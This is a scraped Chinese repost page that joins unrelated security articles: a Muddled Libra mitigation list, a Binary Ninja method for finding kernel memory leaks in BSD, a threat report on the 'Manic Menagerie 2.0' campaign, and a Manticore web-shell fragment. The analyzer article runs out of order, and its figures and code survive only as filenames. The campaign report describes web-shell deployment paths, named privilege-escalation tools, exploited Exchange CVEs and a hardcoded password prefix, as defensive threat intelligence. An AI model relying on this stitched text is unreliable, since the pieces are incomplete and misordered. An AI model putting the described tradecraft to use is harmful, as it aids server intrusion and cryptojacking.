3.實施員工安全意識培訓。 Muddled Libra通過電話和短信大力實施社會工程，包括通過電話和短信幫助台。

4.在發生攻擊的情況下，假設這個攻擊者知道現代IR戰術，考慮建立帶外響應機制。

5.確保證書是最新的，只在必要的時候和時間內授予訪問權限。

6.監控和管理對關鍵防禦和控制的訪問對於防禦熟練攻擊者至關重要。權利應僅限於每個工作職能所必需的內容。應使用Cortex XDR和Cortex XSIAM等身份威脅檢測和響應（ITDR）工具來監測異常行為。

7.防御者應該限制允許連接到網絡的匿名服務，最好是在防火牆上通過App-ID。

HireHackking

跟踪動態內存分配中的內存存儲到目前為止，我們的所有分析都集中在堆棧內存作為信息披露的源緩衝區。這在很大程度上是由於堆棧內存洩漏錯誤的盛行，如KLEAK：實用內核內存洩漏檢測（PDF）中所述。其他內存區域（如堆）呢？我們可以對一些堆內存洩漏建模嗎？

在查找堆內存洩漏時，思路也是一樣的。我們仍在尋找調用具有已知大小值的sink函數。但源指針不是RegisterValueType.StackFrameOffset，我們檢查RegisterValueType.UndeterminedValue。考慮sys_statfs()的代碼：

9.png

sys_statfs()中的動態內存分配

此時copyout()中的內核指針rdi_1#2還是不確定，因為Binary Ninja並不知道分配器函數返回什麼。然而，通過使用SSA表單，我們可以手動跟踪rdi_1#2是否保存malloc()的返回值。例如，按上圖中突出顯示的說明進行操作。變量被分配為rax_1#1-r15#1-rdi_1#2。可以使用MLIL get_ssa_var_definition()API通過編程方式獲取此信息。一旦獲得SSA變量的定義位置，我們就可以使用CALL操作檢查變量是否被初始化。

那分析器如何知道分配器函數的定義？我們可以採用與提供靜態函數掛鉤信息相同的方法（請參閱上面的“靜態函數掛鉤和內存編寫API”一節）。向分析器提供一個帶有分配器函數列表和大小參數索引的JSON配置。對於任何具有已知目標(即MLIL_CONST_PTR)的CALL指令，獲取該符號以檢查已知的分配器函數。下面是一個用於分析的JSON配置示例：

一旦我們建立了源指針和分配器調用之間的連接，下一個問題是，將分配什麼指針值作為分配器調用的返回值？在Binary Ninja中跟踪為負偏移量的堆棧指針是這樣的：為了在堆棧指針和堆指針之間具有一個通用表示，我決定將堆分配器調用的返回值設置為分配大小的負值。對於sys_statfs()中的malloc()調用，rax_1#1設置為0x1d8作為起始地址。因此，需要初始化的內存區域的範圍從0x1d8到0不等。即使分配大小不確定，起始地址也可以設置為某些任意值，例如0x10000。最重要的是要知道copyout()訪問的連續內存區域是否已初始化。

使用dominator和後dominator過濾內存存儲下圖中的dominator提供了一些基本塊的執行順序信息。雖然我們已經在“處理指針對齊優化”一節中使用了dominator來處理指針對齊的優化，但本節將詳細介紹dominator在檢測支配流敏感（flow-sensitive）內存存儲操作中的使用。

為了分析未初始化的內存洩露，我們使用了兩種思路：dominator和後dominator。如果到Y的所有路徑都應經過X，則稱基本塊X支配另一個基本塊Y。如果從X到函數的任何返回塊的所有路徑均應經過Y，則稱基礎塊Y支配基本塊X。

10.png

dominator和後dominator的圖表

在所提供的圖中，節點B支配節點C、D、E和F，因為到這些節點的所有路徑都必須經過節點B。根據定義，每個節點都會進行自我支配，因此由節點B支配的所有節點集將是B、C、D，E和F。此外，節點A支配圖中的所有節點。因此，節點C、D、E、F的dominator是A和B。

同理，當A為函數入口節點，E和F為出口節點，則節點B為節點A的後dominator。這是因為從A到出口節點的所有路徑都必須經過B。

那麼，dominator和後dominator如何幫助我們進行分析呢？

我們可以對sink函數的調用者執行dominator分析。其思想是只記錄基本塊中的內存存儲，這些基本塊支配調用copyout()的基本塊，也就是說，將執行與分支決策無關的基本塊，代碼如下：

11.png

調用copyout()的基本塊的dominator

調用copyout()的基本塊是

在跨函數(inter-procedure)分析期間，對被調用函數進行後dominator分析。它的目的是在初始化它應該返回的內存區域之前，找到被調用者可能返回的漏洞。被調用者函數do_sys_waitid()如下所示：

12.png

do_sys_waitid()中函數輸入塊的後dominator

函數入口塊基於dominator和後dominator的分析試圖填補分析器執行的支配流不敏感分析中的空白。其假設是，在執行進一步的操作之前，內存被初始化或清除，因此支配其他基本塊。然而，這種假設並不總是正確的。例如，在某些情況下，單個代碼路徑可以執行與支配器中相同的操作。此外，當被調用者由於任何錯誤條件返回時，調用者可以在調用copyout()之前驗證返回值。因此，在此情況下基於dominator的分析容易出現大量誤報。

檢查未初始化的內存洩露一旦所有的內存存儲操作都被靜態地記錄了關於寫的偏移量和大小的信息，就可以使用copyout()對複製到用戶空間的內存區域進行評估，以進行未初始化的內存公開。 copyout()調用是這樣的：源指針為0x398，複製的大小為0x330字節。因此，分析器必須驗證內存範圍從-0x398到(-0x398 +0x330)的所有字節是否都已初始化，如果沒有，則將其標記為錯誤。

誤報和限制編寫分析器的目的是查找在任何可能的代碼路徑中從未寫入過的內存區域。如果無法跟踪內存存儲操作，則會出現誤報。以下是一些常見的誤報情況和限制情況：

1.分析儀不模擬分支指令。因此，在涉及支配流決策的代碼構造中會出現誤報。考慮一個內存區域，例如在循環操作中初始化的數組。在這種情況下，存儲操作將只檢測一次，因為分析器只訪問循環體一次，而不是像執行期間那樣在循環中訪問。

2.間接調用不會被靜態解析，因此，在間接調用期間執行的任何內存存儲都不會被跟踪。

3.優化可能會使跟踪內存存儲更加困難。在“處理x86 REP優化”和“處理指針對齊優化”部分中處理了一些常見的優化。

4.Binary Ninja可能會錯誤地檢測用於靜態掛鉤或copyout()等接收器函數的類型信息。由於我們的分析依賴於RegisterValueType信息，任何未能準確檢測函數原型的情況都可能導致錯誤的結果。在分析和更新之前驗證類型信息。

5.分析器僅查找內存源函數和sink函數位於同一函數中的代碼模式。在本地函數範圍之外，沒有對內存源的跟踪。

6.dominator分析是實驗性的。你應該僅將其用作執行代碼審查的指導原則。

當可以訪問源代碼時，可以通過更改優化標誌或展開循環來減少分支決策，從而解決其中一些誤報。

分析結果在Binary Ninja中加載目標內核可執行文件，生成BNDB分析數據庫。然後用分析器對數據庫進行分析，以便進行更快的分析。有兩個腳本：一個用於分析堆棧內存洩漏，另一個用於分析具有已知大小和未知源指針的sink函數。因為源指針可以來自堆分配器，所以提供一個帶有分配器函數列表的JSON配置作為參數。 dominator分析是實驗性的。需要時，請使用可選參數啟用它。

總結這些腳本在Binary Ninja版本2.4.2846上針對FreeBSD 11.4、NetBSD 9.2和OpenBSD 6.9內核進行了測試。在結果中，評估了非特權用戶可能訪問的代碼路徑。 OpenBSD漏洞在與IPv4和IPv6組播路由相關的系統中被發現，分別被命名為ZDI-22-073和ZDI-22-012。

在NetBSD中發現的4個漏洞（ZDI-22-075、ZDI-22-1036、ZDI22-1037和ZDI-21-1067）與支持舊版NetBSD向後兼容的系統調用有關的ZDI-22-2075和ZDI22-11036分別是NetBSD 3.0和NetBSD 5.0的VFS系統調用中的信息洩露。另外，ZDI-22-1037是NetBSD 4.3的getkerneinfo系統調用中的一個信息洩漏。目前，此漏洞已修復，但還存在許多其他潛在問題。

在版本11.4中發現的FreeBSD漏洞也與兼容性有關，在本例中，兼容性用於支持32位二進製文件。然而，在對64位inode進行較大更改期間，該漏洞被修復，但沒有被公開。作為64位inode項目的一部分，在copy_stat函數中清除了未初始化的結構字段。雖然此承諾是在2017年5月，但它被標記為12.0及以上版本。因此，該漏洞在11.4版中一直未被修復，直到2021年9月才被處理。

總而言之，大多數漏洞都是在BSD的兼容層中發現的。此外，所有這些漏洞都是堆棧內存洩漏。

HireHackking

未初始化內存的洩漏是跨信任邊界複製數據時面臨的常見問題之一。這可能發生在hypervisor和guest OS、內核和用戶空間之間，也可能發生在跨網絡之間。在這些情況中，最常見的錯誤模式是在內存中分配結構或聯合，並且在跨信任邊界複製它之前沒有初始化某些字段或填充字節。問題是，是否可以對此類漏洞進行有針對性地分析？

本文的想法是執行支配流不敏感分析（insensitive analysis），以靜態跟踪所有內存存儲操作。當跨信任邊界複製來自該內存區域的數據時，任何從未寫入的內存區域都被標識為未初始化。

泛化用於分析的代碼模式以CVE-2018-17155為例，由於缺乏結構初始化，FreeBSD內核內存在getcontext()和swapcontext()系統調用中洩漏。下面顯示的是sys_getcontext()的補丁。左邊的清單顯示了打了補丁的代碼。 Sys_swapcontext()也以類似的方式打了補丁。

1.png

sys_getcontext()信息洩漏補丁，右側顯示易受攻擊的代碼

脆弱的代碼在堆棧上聲明了一個ucontext_t結構，寫入一些但不是所有的字段，最後使用copyout()將UC_COPY_SIZE字節的數據從結構複製到用戶區。這裡的問題是，並非所有字段都已初始化，因此，佔用結構內存區域未初始化部分的任何數據都會被洩漏。為了解決這個問題，打過補丁的代碼使用bzero()函數將整個結構歸零。

上述代碼模式的泛化過程如下：

1.在堆棧上聲明或在堆上分配內存區域（結構、聯合等），這可能是未初始化內存的來源。

2.內存區域可能被完全或部分寫入。

3.有一個跨信任邊界傳輸數據的API，這可能是未初始化內存的sink。

4.API通常至少需要3個參數：源緩衝區、目標緩衝區和大小。在這種情況下，內存的源是堆棧偏移量，傳輸的大小是一個常量值。傳輸的大小不變意味著該值要么是內存區域的整個大小（使用sizeof運算符），要么是成為偏移量的一部分。

5.在使用memset()或bzero()函數之前，內存區域可能會被清空。

sink函數是特定於應用程序的，比如對於Linux內核，是copy_to_user()；對於BSD內核，則是copyout()；對於網絡傳輸則是send()或sendto()。如果目標是封閉源代碼，那麼這些函數的定義要么被記錄下來，要么被逆向破解。

搜索代碼模式進行分析一旦知道了sink函數及其定義，就可以使用常量大小參數和指向堆棧偏移量或堆內存的源緩衝區查詢對sink函數的調用。查詢指向堆棧內存的指針很簡單，而檢測堆指針則需要訪問源變量的定義位置。 BSD中copyout()函數的定義如下：

2.png

在查找堆棧內存洩漏時，搜索對copyout()函數的交叉引用，其中kaddr指向堆棧偏移量，len參數是常量。

Binary Ninja具有靜態數據流功能，可以在函數內傳播已知值，包括堆棧幀偏移量和類型信息。使用此功能，可以縮小對滿足搜索條件的copyout()的調用範圍。為了更好地理解這一點，讓我們檢查一下從sys_getcontext()傳遞給copyout()的參數。

3.png

sys_getcontext()調用copyout(kaddr, uaddr, len)

kaddr參數或params[0]包含一個內核堆棧指針，顯示為堆棧幀偏移量-0x398。 len參數或params[1]的值顯示為常數0x330。由於Binary Ninja沒有關於uaddr的信息，因此顯示為

靜態跟踪內存存儲分析的核心思想是使用Binary Ninja的靜態數據流功能跟踪所有內存存儲操作，並在必要時使用Single static Assignment（SSA）形式手動傳播指針。為了跟踪本地函數範圍內的堆棧內存存儲，我們依賴於低級別IL（LLIL），因為中級IL（MLIL）抽象了堆棧訪問，可能會消除一些內存存儲。為了跟踪將地址傳遞給另一個函數的跨函數(inter-procedure)存儲操作，我們依靠MLIL SSA形式傳播指針。用於處理IL指令的訪問者類是基於Josh Watson的emator實現的。

使用LLIL跟踪堆棧內存存儲在LLIL中，任何寫入內存的指令都表示為lil_store操作。它有一個源和目標參數。其思想是線性訪問函數中的每個LLIL指令，並檢查它是否是一個以堆棧幀偏移量為目標的lil_store操作。當一個寫入堆棧的內存存儲被識別出來時，我們將記錄寫入的源偏移量及其大小。一個簡單的8字節內存移動操作和Binary Ninja提供的相應LLIL信息如下：

4.png

freebsd32_sigtimedwait()中的LLIL_STORE操作

StackFrameOffset值是堆棧基數的偏移量，size屬性給出了存儲操作的大小。使用這些信息，就可以知道正在寫入的內存地址是哪個。本示例中正在初始化從堆棧基偏移量是116到109(8字節)的地址。

靜態函數掛鉤和內存寫入API雖然內存存儲指令是初始化內存的一種方法，但經常使用memset()和bzero()這樣的函數來初始化帶有null的內存區域。類似地，諸如memcpy()、memmove()、bcopy()、strncpy()和strlcpy()等函數也用於寫入內存區域。所有這些函數都有一個共同點：都有一個目標內存指針和一個要寫入的大小。如果目標值和大小值已知，則可以知道要寫入的內存區域。考慮bzero()的情況，它用於清除修補後的sys_getcontext()中的堆棧內存：

5.png

使用bzero()清除堆棧內存

通過查詢目標指針和大小參數，可以知道它們各自的值，從而知道目標內存區域。

現在讓我們考慮一下分析器如何處理CALL操作。靜態掛鉤是函數的處理程序，與其他函數相比，我們打算以不同的方式處理這些函數。對於任何具有已知目標(MLIL_CONST_PTR)的CALL指令，將獲取該符號以檢查靜態掛鉤。

一個帶有函數名及其位置參數(目標緩衝區和大小)的JSON配置被提供給分析器用於靜態掛鉤：

copyin()函數特定於BSD內核。它用於使用來自用戶空間的數據初始化內核緩衝區。任何要掛鉤的特定於目標的函數都可以添加到JSON配置中，並根據需要在visit_function_hooks()中處理。

處理x86 REP優化很多時候，編譯器會將內存寫入函數優化為REP指令或一系列存儲操作。雖然由於優化而引入的存儲操作可以像處理任何其他存儲操作一樣，但REP指令需要特殊處理。由於REP的原因，靜態函數掛鉤在檢測內存寫入時並沒有用。那麼，我們如何處理此類優化並避免錯過這些內存寫入？首先，讓我們看看Binary Ninja如何在LLIL或mll中轉換REP指令。

6.png

memcpy()優化為REP指令

7.png

MLIL中的REP指令轉換

REP指令重複字符串操作，直到RCX為0。複製操作的方向取決於方向標誌（DF），因此，一個分支增加源指針(RSI)和目標指針(RDI)，另一個分支則減少。一般來說，假設DF為0，並且指針是遞增的，這是相當安全的。

當線性遍歷IL時，轉換後的REP指令看起來與其他指令沒有什麼不同。其思想是檢查GOTO指令，並且對於IL中的每個GOTO指令，在相同的地址獲取反彙編。如果反彙編是REP指令，則獲取目標指針和大小參數，並將內存區域標記為已初始化。

LLIL有一個get_possible_reg_values()API，用於靜態讀取寄存器的值。 MLIL提供了兩個API，get_var_for_reg()和get_ssa_var_version()，用於將體系結構寄存器映射到SSA變量。在缺少RegisterValueType信息（即RegisterValueType.UndeterminedValue）的情況下，使用SSA變量手動傳播值時非常有用。類似的API目前在LLIL中缺失，並作為功能請求進行跟踪，API用於獲取給定LLIL指令中寄存器的SSARegister。

使用MLIL跟踪跨函數(inter-procedure)內存存儲此時，我們可以跟踪內存存儲操作、調用操作(如bzero()、memset())，還可以處理REP優化。下一個任務是跟踪函數調用之間的內存寫入操作，就像調用者將內存地址傳遞給被調用者一樣。有趣的是，一旦堆棧指針被傳遞到另一個函數中，就不能再使用寄存器值類型信息（StackFrameOffset）對其進行跟踪了，就像我們在本地函數範圍內使用LLIL所做的那樣。

為了解決這個問題，我們使用MLIL SSA變量在被調用函數中傳播指針，就像傳播污染信息一樣。每當遇到MLIL_STORE_SSA指令時，只要根據SSA變量的值手動解析內存寫入操作的目標，我們就會記錄寫入操作的偏移量和大小值。下面顯示的set_function_args()函數遍歷MLIL變量並賦值(指針)給調用者：

設置初始SSA變量後，我們就會訪問所有的指令來傳播指針並記錄內存寫入操作。執行此操作時，對指針執行的最常見操作是加法。因此，有必要模擬MLIL_ADD指令來處理指針算術操作。此外，模擬MLIL_SUB、MLIL_LSR和MLIL_AND等指令也很重要，以便在優化的情況下處理某些指針對齊操作。下面是如何解析這些MLIL SSA表達式來記錄內存存儲操作的示例：

將SSA變量rax_43#65視為手動傳播的指針值，可以解析存儲操作的目標以及寫入的大小。但是，當SSA變量rax_43#65的值不可用時，此內存與調用者傳播的指針無關，因此不會被記錄。

處理指針對齊（pointer-aligning）優化在執行跨函數(inter-procedure)分析時，除了REP優化之外，還可以進行進一步的優化，如上面的“處理x86 REP優化”部分所講。在堆棧上分配的變量通常會對齊，以滿足後續操作的需要。假設將堆棧指針傳遞給memset()，編譯器將調用內聯爲REP指令。在這種情況下，很可能將內存分配到一個對齊的地址，以便在REP操作期間使用最快的指令。

然而，當指針被調用者作為參數接收或作為分配器函數的返回值接收時，編譯器則必須生成指針和大小對齊操作碼，這些操作碼可能在到達REP指令之前依賴於分支決策。下面是一個在用於分析的NetBSD內核中常見的優化示例：

8.png

來自NetBSD的memset()優化示例

從靜態分析的角度來看，當涉及到這種分支決策時，指針和大小可以在REP指令點獲得多個可能的值。這與我們在“處理x86 REP優化”一節中觀察到的情況不同，在該節中，指針和大小只有一個可能的值。我們的目標是在沒有指針對齊計算的情況下找到指針的實際值和大小。為了實現這一點，確定了兩個可用於解析原始值的SSA表達式：

1.搜索包含(ADDRESS BYTESIZE)的表達式，這可能是在進行任何條件分支之前首次使用ADDRESS；

2.搜索包含(SIZE 3)的表達式。這是將調整後的大小傳遞給REP指令的地方；

我想從REP指令的角度追溯上述表達式，一個完全依賴SSA，另一個基於dominator：

1.使用get_ssa_var_definition()和get_ssa_ var_uses()API獲取變量的定義位置及其用途。

2.或者，獲取包含REP指令的基本塊的dominator，並訪問dominator塊中的指令。

下面顯示的函數resolve_optimization()使用dominator獲取執行搜索操作的基本塊。由於指針是由調用者手動傳遞的，因此值是從SSA變量中獲取的。

對於可能的常量值，我們從可用值列表中獲取最大值。一旦指針和最大值都可用，我們就記錄內存區域初始化時的日誌。

HireHackking

微信截图_20230710001005.png

Unit 42的研究人員發現，從2020年末到2022年末，發生了一系列針對美國和歐盟幾家網絡託管和IT提供商的攻擊活動，研究人員將其編號為CL-CRI-0021，並認為其幕後攻擊者是Menagerie。

攻擊者在被劫持的設備上部署挖礦程序，以盜竊受攻擊服務器的資源。他們通過大規模部署web shell，來進一步增加持強起持續訪問能力，並進一步訪問受攻擊網站的內部資源。這樣一來，攻擊者就有可能把被劫持的合法網站（由目標網絡託管和IT提供商託管）大規模地變成指揮和控制(C2)服務器，從而影響數千個網頁。因此，攻擊者可以從具有良好聲譽的合法網站運行他們的C2活動，這些網站不一定被安全解決方案標記為惡意。這可能會對被濫用的合法網站產生巨大的影響，在這種情況下，這些網站會在不知情的情況下託管惡意內容和隱藏攻擊活動。此類攻擊活動可能對網站所有者或網絡託管公司造成負面影響。

在受害者的網絡中，攻擊者嘗試了多種技術來逃避各種檢測。他們還繼續執行有效負載，重新部署和重新運行以前被阻止的工具，或者使用其他類似的工具。總之，攻擊者試圖不用已知的惡意軟件，通過引入定制工具和依賴公開可用的合法工具來躲避檢測。

根據研究人員在這次攻擊中觀察到的戰術、技術和程序(TTP)，之前被稱為Menagerie的攻擊者實施了上述攻擊，因此本文將其稱之為“Menagerie2.0”。

據澳大利亞網絡安全中心報導，該攻擊者至少從2018年就開始活躍，目標是澳大利亞的網絡託管公司。

初始訪問和持久化“Menagerie2.0”活動是在2020年底首次發現的，目標是美國和歐盟的公司。在此活動中，攻擊者通過利用易受攻擊的web應用程序和IIS服務器，並在這些受攻擊的服務器上部署不同的web shell，獲得了對目標設備的訪問權限。

在活動的web服務器上部署web shell允許攻擊者劫持合法網站。 webshell被放置在這些託管網站的C:\[hosted websites on the server path]\wwwroot\example.com\webshell.aspx文件夾中。

這些操作還允許將來從受害者的網絡外部公開訪問，這可以讓這些網站變成攻擊者未來的C2服務器。研究人員還觀察到同樣的web shell,即xn.aspx，目標是澳大利亞的網絡主機公司。

在Manic Menagerie 2.0中部署web shell後，攻擊者開始部署挖礦程序。這樣做很可能是為了濫用受損服務器強大的計算資源，通過挖礦獲取目標的錢財。

2021-2022年期間，在公開披露多個Microsoft Exchange Server漏洞後，攻擊者試圖在一些目標中利用以下漏洞：

CVE-2021-26855、CVE-2022-41040:（ProxyNotShell）Exchange Server SSRF漏洞；

CVE-2021-34473：ProxyShell漏洞之一，Exchange Server遠程代碼執行漏洞；

CVE-2021-33766（ProxyToken）：允許攻擊者修改任意用戶的郵箱配置；

因此，除了IIS服務器中的漏洞和環境中易受攻擊的web應用程序之外，前面提到的漏洞還為攻擊者提供了另一個滲透和持久性載體。

偵察功能和權限升級從2020年底開始，參與Menagerie 2.0活動的攻擊者開始定期嘗試執行本地權限升級，以將自己的用戶添加到IIS服務器中的管理員組中，以進一步提升他們的攻擊能力。當一個工具失敗時，他們會嘗試用另一個具有類似功能的工具。

攻擊者使用了一個名為RunasCs的runas.exe.NET封裝器。此公開可用的工具啟用了原始runas.exe實用程序所缺乏的擴展功能，例如通過使用用戶憑據明文執行進程。

觀察到攻擊者試圖通過在易受攻擊的web應用程序下運行，在受攻擊的環境中執行進一步的網絡偵察。然後，他們試圖通過運行au.exe來添加自己的用戶，au.exe是“add user”的縮寫。該文件必須由已提升的用戶運行。然後，他們通過運行net命令來確保他們的用戶名存在。

他們對用戶名iis_user和iis_users的使用是值得注意的，因為後者最初可能看起來是一個拼寫錯誤。

1.png

au.exe創建iis_user用戶並為其生成密碼

前面提到的au.exe是一個攻擊者試圖多次運行的工具，它與不同的PoC本地權限提升工具鏈接在一起，如下圖所示。

2.png

試圖在易受攻擊的web應用程序下執行RunasCs和其他命令

可以看到攻擊者使用多個工具來實現相同的權限升級，如上圖所示，64位版本的PrintSpoofer就是其中一個工具。這個公共工具被攻擊者用來提升au.exe，否則它就不會添加它想要添加的用戶。

fork炸彈（fork bomb）和更多本地權限升級據觀察，攻擊者利用以下漏洞，試圖使用多個公開可用的工具升級本地權限（LPE）：

CVE-2018-8120

CVE-2019-0623

CVE-2019-0803

CVE-2019-1458

研究人員在Menagerie 2.0中觀察到的另一個有趣的執行是svchost.exefork炸彈。 ACSC關於Menagerie活動的報告也提到了這種類型的拒絕服務(DoS)工具的存在。

這個fork炸彈的代碼非常簡單，因為它在一個無限循環中運行，會打開越來越多程序，直到設備耗盡內存。此活動旨在使設備崩潰並強制重新啟動。這允許需要重新啟動才能開始的可執行文件的持久性機制。

3.png

fork炸彈二進製文件中的無限循環代碼片段

dllnc.dll：運行有效負載和添加用戶工具研究人員在Menagerie 2.0活動中觀察到的另一個名為dllnc的工具有兩個主要功能。一個是加載攻擊者的一些可執行文件和批處理文件，另一個是作為另一個工具，用於將攻擊者的用戶添加到管理員組。

它包含一個指示PDB路徑：F:\upfile\3389\opents\dlladduser\x64\Release\dllnc.pdb，截至2023年5月中旬，其在VirusTotal中沒有產生任何其他結果。這表明，這是針對特定目標的自定義工具。

加載程序代碼段試圖加載一些它認為已經在攻擊者路徑中的工具(如圖4所示)，因為沒有檢查它們是否實際存在。在這樣做的同時，它考慮了幾種可能的硬編碼路徑，其中大多數都出現在這次攻擊活動中。

4.1.png

4.2.png

攻擊者工具的硬編碼路徑，如dllnc.dll中所示

然後，該工具刪除當前的iis_user用戶，然後重新添加它，這次是使用硬編碼的密碼。同樣，這種行為與ACSC關於原始瘋狂Menagerie運動的報告有關。該報告中也提到了相對ID（RID）劫持工具的一個舊變體（如圖5所示），類似於這種行為。

5.png

RID劫持工具

這兩種變體中的密碼有著明顯的、非常相似的地方，因為它們都使用xman前綴和類似的後綴。

6.png

用戶iis_user及其硬編碼密碼

PCHunterPCHunter是被觀察到的另一個被Menagerie 2.0活動使用的工具，它讓人想起GMER和Rootkit Unhooker等老工具。它是一個合法的和強大的工具包，用於瀏覽和修改不同的Windows內部組件。下圖顯示了試圖執行被阻止的PCHunter。

7.png

下圖顯示了“Epoolsoft Corporation”的PCHunter數字簽名。中文評論提供了該工具的快速描述。這被翻譯為“Yipmin是一個Windows系統信息查看工具（安全類別）。”

8.png

PCHunter簽名者信息

大規模後門：將已知的Web Shell部署到多個目的地在Menagerie 2.0活動中觀察到的第二波明顯的攻擊主要是在託管網站大規模部署web shell。這使得攻擊者能夠通過允許他們未來的公共訪問來加強他們的攻擊立足點，並將他們的web shell隱藏在嵌套文件夾深處。這些合法被劫持的網站將來可能會被用作C2服務器，例如，作為殭屍網絡基礎設施的一部分。

攻擊者的部署嘗試可以追溯到2022年初，當時他們在多個託管網站上部署了名為ASPXSpy的已知web shell，他們觀察到這個web shell被寫入了數百個不同的路徑，如下圖所示。

9.png

ASPXSpy web shell被寫入不同的託管網站路徑

GoIIS攻擊者還運行了一個名為IIS1.asp或GoIIS.exe的工具，該工具於2017年編譯。該工具是用Golang編寫的，用於遍歷服務器的文件夾以檢索服務器的配置信息。這使攻擊者能夠獲得有關被攻擊服務器的寶貴信息。

10.png

IIS工具

Sh.exe：自定義Web Shell部署工具2022年末，攻擊者部署了一個名為sh.exe的自定義工具，作為Menagerie 2.0活動的一部分，其執行情況如下圖所示。該工具的作用是根據共享相同公共IP地址的服務器上預先配置的路徑和合法被劫持網站的列表，在託管網站大規模編寫web shell。

為了方便使用此工具，攻擊者使用了caclcs.exe的自定義封裝器，攻擊者將其命名為mycacls.com，這是一個用於管理訪問控制列表（ACL）的命令行工具。該工具使他們能夠批量更改web服務器的ACL權限，並降低IIS安全設置。

11.png

嘗試與其他工具和命令一起執行sh.exe，但被Cortex XDR阻止

傳遞給sh.exe的參數包含共享相同公共IP的相關網站列表。在執行時，sh.exe工俱生成各種看起來合法的子文件夾，例如圖像和css，以進一步隱藏它們的活動。這可能是為了讓攻擊者將來能夠從互聯網訪問受害者的設備，並可能在將來大規模地使用該基礎設施作為C2服務器。

sh.exe使用'Fujian identical investment co.Ltd.'頒發的無效證書籤名，如下圖所示。這與ACSC報告在活動中描述的用於簽署另一個工具的名稱相同。

在觀察到的樣本中，sh.exe是在2022年11月3日編譯的。其證書於2022年12月6日簽署。簽署後不久，就可以看到攻擊者在其中一個受攻擊的環境中執行sh.exe。無效證書的編譯時間戳和日期範圍可能表明該工具是專門為此特定活動製作的。

12.png

Sh.exe無效簽名

雖然攻擊者刪除了大部分文件，但研究人員發現sh.exe和它釋放的文件之間存在無法恢復的連接。調查發現了攻擊者使用的三個不同的已編譯.NET DLL。

一旦“原始”ASPX文件第一次被訪問，這些dll將由IIS服務器編譯。在對代碼進行反編譯後，基於在兩個文件中發現的指示字符串，在web shell和sh.exe之間發現了有趣的相似之處。

瀏覽其中一個被web shell釋放的網站，頁面上的內容是字符串ONEPIECE，如下圖所示。

13.png

瀏覽其中一個被劫持網站的web shell資源

瀏覽其中一個web shell的代碼並查看負責顯示HTML內容的代碼，可以看到該字符串以及其他指示字符串，如x_best_911。

14.png

ONEPIECE字符串在編譯的web shell的DLL代碼中進行了硬編碼

在sh.exe中也可以找到x_best_911字符串，如下圖所示。

15.png

sh.exe中硬編碼的x_best_911字符串

在執行上述RID Hijack工具時生成的密碼包含xman字符串。這個字符串也可以在sh.exe中找到，如下圖所示，這表明了在最近的活動中看到的新工具之前也在Menagerie活動中出現過。

16.png

xman字符串在sh.exe中是硬編碼的

LPE工具集如上所述，一旦IIS服務器訪問web shell，就會動態編譯. net DLL並將其放置在臨時目錄中。如下圖所示，一個編譯過的DLL web shell文件是App_Web_xvuga1zl.dll。攻擊者與web shell建立的連接導致了另一次遠程執行多個LPE公開可用工具的嘗試，正如在與此活動相關的攻擊的許多階段所看到的那樣。

正如攻擊者之前所做的那樣，他們還使用了幾個權限升級工具。在一個示例中，為避免被阻止，每次執行之間只有幾分鐘的間隔：

JuicyPotato；

PrintSpoofer；

JuicyPotatoNG；

EfsPotato；

PetitPotam(法語“小河馬”)。

17.png

由Cortex XDR檢測和阻止的多個本地權限升級工具

MyComEop當研究人員分析了從Menagerie 2.0攻擊目標組織中恢復的幾個加載程序時，另一個發現引起了他們的注意。這些加載程序包括x和x.tmp文件的硬編碼字符串。當在調試器中執行這些加載程序時，它們成功地解密了它們的有效負載，揭示了另一個PoC LPE工具和後門，具有獨特的PDB路徑：

E:\git\MyComEopPower\MyComEopPipe\Build\Quantum.pdb；

E:\git\MyComEopPower\MyComEopPipe\Build\MyComEop.pdb；

在VirusTotal中搜索PDB路徑時，研究人員從另外兩個變體中發現了更顯著的元數據，如下圖所示。

18.png

從共享相同PDB路徑的另一個變體檢索的文件元數據

經過進一步研究，研究人員發現這是另一種很少見到的權限升級工具和後門，如下圖所示。

19.png

所述工具的硬編碼路徑

20.png

所述工具的後門日誌

新的攻擊在2023年4月，在監控與Menagerie 2.0相關的活動時，攻擊者部署了新修改的工具，並通過先前部署的web shell訪問受攻擊的環境，發現除了部署舊工具，還有更新的工具(如au.exe)。

攻擊者還通過執行net命令搜索iis_user是否存在。然後他們開始在%programdata%\x路徑中部署修改過的工具，這也是熟悉的攻擊套路。

他們部署的工具之一是GodPotato，如下圖所示，它是已知的LPE家族的另一個變體。這個工具也是公開可用的。

21.png

GodPotato工具截圖

研究人員觀察到的另一個工具是另一個自定義後門，如下圖所示。通過查看其PDB路徑D:\project\後門類\dllnc\exenc\x64\Release\exenc.pdb，它似乎是前面提到的DLLNC工具的一個新變體。這種變體側重於後門功能，而不是主要充當下載程序。

22.png

新後門的主要方法

總結“Menagerie2.0”活動針對網絡託管和IT公司已有兩年多的時間。研究人員認為這次活動是由之前的'Menagerie'活動演變而來的。這次攻擊的主要目標是濫用受攻擊的web服務器的資源以獲取經濟利益。正如ACSC之前報導的那樣，攻擊者在Menagerie 2.0中部署了多個挖礦程序。調查還顯示，隨著時間的推移，攻擊者擴大了他們的武器庫，並改進了他們的https來劫持合法網站。他們通過在受攻擊的大規模部署web shell，然後將其用作C2服務器。

HireHackking

MANTICORE的攻擊範圍正在逐步擴大（上）

Web shellManticore部署了多個Web shell，包括之前被間接歸因於OilRig的Web shell，其中一些web shell因其混淆、命名約定和工件而更受關注。與Manticore在過去幾年的攻擊中使用的許多其他web Shell和基於.NET的工具相比，web Shell保留了類和方法模糊以及類似的字符串加密算法，該加密算法與一個字節異或，密鑰從第一個字節或前2個字節派生。

其中一個shell是對開源XML/XSL轉換web shell (XSL Exec shell)進行了嚴重混淆和略微修改的版本。這個web shell還包含兩個混淆的函數，它們返回字符串“~/1.aspx”。這些函數從未被調用過，很可能是其他版本的殘餘，正如我們在Manticore之前使用的工具(如FOXSHELL)中觀察到的那樣：

14.png

FOXSHELL web shell版本中未使用的字符串

攻擊目標根據對最新利用LIONTAIL的分析發現，受害者遍布中東地區。大多數受影響的實體屬於政府、電信、軍事和金融部門，以及IT服務提供商。

至少從2019年開始，Manticore就開始在中東地區活躍。它最初是基於開源的web部署代理，隨著時間的推移演變成一個多樣化和強大的工具集，既利用了自定義編寫的組件，也利用了開源組件。

16.png

Manticore使用的多個惡意軟件版本的代碼和功能演變概述

